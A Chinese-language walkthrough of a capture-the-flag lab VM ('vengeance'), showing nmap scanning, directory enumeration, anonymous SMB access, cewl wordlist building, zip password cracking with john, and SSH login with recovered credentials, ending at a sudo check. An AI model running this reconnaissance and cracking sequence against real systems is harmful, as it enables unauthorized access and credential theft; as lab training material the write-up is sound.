1，将两台虚拟机网络连接都改为NAT模式

2，攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182，靶场IP192.168.23.3

3，对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.3

4，起手先访问一下80端口存在的http服务，直接使用IP访问缓慢，需要修改host文件添加一条域名解析

echo "192.168.23.3 vengeance.goodtech.inc" >>/etc/hosts

http://vengeance.goodtech.inc/

然后就是扫描一下目录：

dirsearch -u http://vengeance.goodtech.inc -x 404,403

5，用 enum4linux扫描一下：

enum4linux 192.168.23.3

smbclient -N \\\\192.168.23.3\\sarapublic$

gio.zip打开需要密码

密码应该隐藏在上面下载的那几个文件里，先把那几个文件做成密码本，使用cewl字典生成工具生成密码本，先在本地开启个 http 服务，然后利用cewl爬取文件关键字生成密码本：

cewl 192.168.23.3:8000/blurb.txt >> pass.txt

cewl 192.168.23.3:8000/eaurouge >> pass.txt

cewl 192.168.23.3:8000/eaurouge.txt >> pass.txt

cewl 192.168.23.3:8000/essay.txt >> pass.txt

cewl 192.168.23.3:8000/profile.txt >> pass.txt

cewl 192.168.23.3:8000/to-do >> pass.txt

利用生成的密码本爆破一下 zip 文件：

john --wordlist=pass.txt password.txt

nanotechnological

6，使用获得账户和密码信息：qinyi/giovanni_130R_Suzuka，进行ssh登录，成功获得shell权限

ssh qinyi@192.168.23.3 -p 22222

信息收集一下

看一下如何sudo提权 sudo -l